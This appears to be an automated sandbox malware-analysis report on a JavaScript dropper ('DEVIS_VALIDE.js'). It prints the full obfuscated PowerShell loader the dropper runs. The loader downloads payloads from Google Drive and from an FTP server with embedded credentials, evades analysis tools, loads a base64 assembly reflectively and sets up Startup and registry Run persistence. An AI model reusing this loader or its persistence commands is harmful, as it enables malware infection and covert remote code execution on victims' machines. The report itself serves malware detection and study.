[char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD9B51D2A5 pushad ; iretd 5_2_00007FFD9B51D2A6
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD9B632315 pushad ; iretd 5_2_00007FFD9B63232D
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD9B6384DD push ebx; ret 5_2_00007FFD9B63851A
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD9B7015DD push eax; retf 5_2_00007FFD9B7015F9
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD9B54D2A5 pushad ; iretd 6_2_00007FFD9B54D2A6
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD9B661FE0 push esp; ret 6_2_00007FFD9B661FF3
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 20_2_00007FFD9B63528B push edx; iretd 20_2_00007FFD9B6355DB
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 20_2_00007FFD9B6355CB push edx; iretd 20_2_00007FFD9B6355DB
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_00007FFD9B650B9A push eax; retf 28_2_00007FFD9B650D4D

                  Persistence and Installation Behavior

                  barindex
                  Tries to download and execute files (via powershell)
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"Jump to behavior

                  Boot Survival

                  barindex
                  Creates autostart registry keys with suspicious values (likely registry only malware)
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_lme cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_lme cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_nzm cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Creates multiple autostart registry keys
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_nzm
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_lme
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_lme
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_lme
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_lme
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_lme
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_nzm
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_nzm

                  Hooking and other Techniques for Hiding and Protection

                  barindex
                  Loading BitLocker PowerShell Module
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                  Self deletion via cmd or bat file
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: cmd.exe /c del "C:\Users\user\Desktop\DEVIS_VALIDE.js"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: cmd.exe /c del "C:\Users\user\Desktop\DEVIS_VALIDE.js"Jump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey value created or modified: HKEY_CURRENT_USER\SOFTWARE\1F61296E2D13B1021028 B6D8BCCDF123CEAC6B9642AD3500D4E0B3D30B9C9DD2D29499D38C02BD8F9982
                  Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
